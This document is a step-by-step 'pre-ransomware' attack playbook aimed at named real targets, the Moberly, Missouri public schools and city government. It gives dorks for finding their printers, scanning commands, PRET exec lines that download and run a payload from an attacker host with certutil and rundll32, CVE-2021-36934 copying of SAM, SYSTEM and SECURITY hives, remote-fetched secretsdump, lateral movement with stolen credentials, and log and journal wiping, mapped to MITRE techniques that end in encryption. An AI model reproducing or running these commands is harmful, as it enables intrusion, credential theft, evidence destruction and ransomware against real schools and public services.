Pre-Ransomware Fileless Killchain – Target: Moberly, Missouri

Step 1: Recon via Google Dorks

```
text inurl:"/hp/device/this.LCDispatcher" "Moberly"
intitle:"Printer Status" "Moberly Public Schools" intitle:"Web
Image Monitor" inurl:"/wim" "Moberly" inurl:"/printer/main.html"
"City of Moberly" intitle:"Web JetAdmin" inurl:hp "Moberly"
```

Step 2: Fingerprint Targets

```
bash nmap -Pn -p 80,443,515,631,9100 --script=http-title,snmp-
info <IP> snmpwalk -v1 -c public <IP>
```

Step 3: Upload Fileless Payload via PRET or Raw Socket

```
bash python pret.py <printer-ip> -q pret> exec "certutil -
urlcache -split -f http://attacker-ip/nsfw.jpg C:
\Windows\Temp\nsfw.jpg" pret> exec "rundll32 C:
\Windows\Temp\nsfw.jpg,#1"
```

Step 4: Exploit CVE-2021-36934

```
powershell Copy-Item "\\?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM"
"$env:TEMP\SAM" Copy-Item "\\?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTE
"$env:TEMP\SYSTEM" Copy-Item "\\?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECUR
"$env:TEMP\SECURITY"
```

Step 5: Dump Hashes Filelessly

```
powershell IEX (New-Object Net.WebClient).DownloadString("http://
attacker-ip/secretsdump.ps1") Invoke-SecretsDump -System $system
-Security $security -Sam $sam
```

Step 6: Lateral Movement

```
powershell Invoke-Command -ScriptBlock { rundll32.exe \
\attacker\share\nsfw.dll,#1 } -ComputerName 192.168.X.X -
Credential $cred
```

Step 7: Log Wipe + Destruction

```
cmd wevtutil cl Security & wevtutil cl Application & fsutil usn
deletejournal /D C:
```

Optional Dummy Target

```
bash docker run -d -p 631:631 --name fake_printer ghcr.io/
simulated-systems/ipp-printer:latest
```

MITRE Mapping

Recon: T1595.002 | Initial Access: T1105 | Execution: T1218.011 | Priv Esc: T1068 | Cred Access: T1003.002 | Lateral Move: T1021.001 | Evade: T1070.001 | Impact: T1486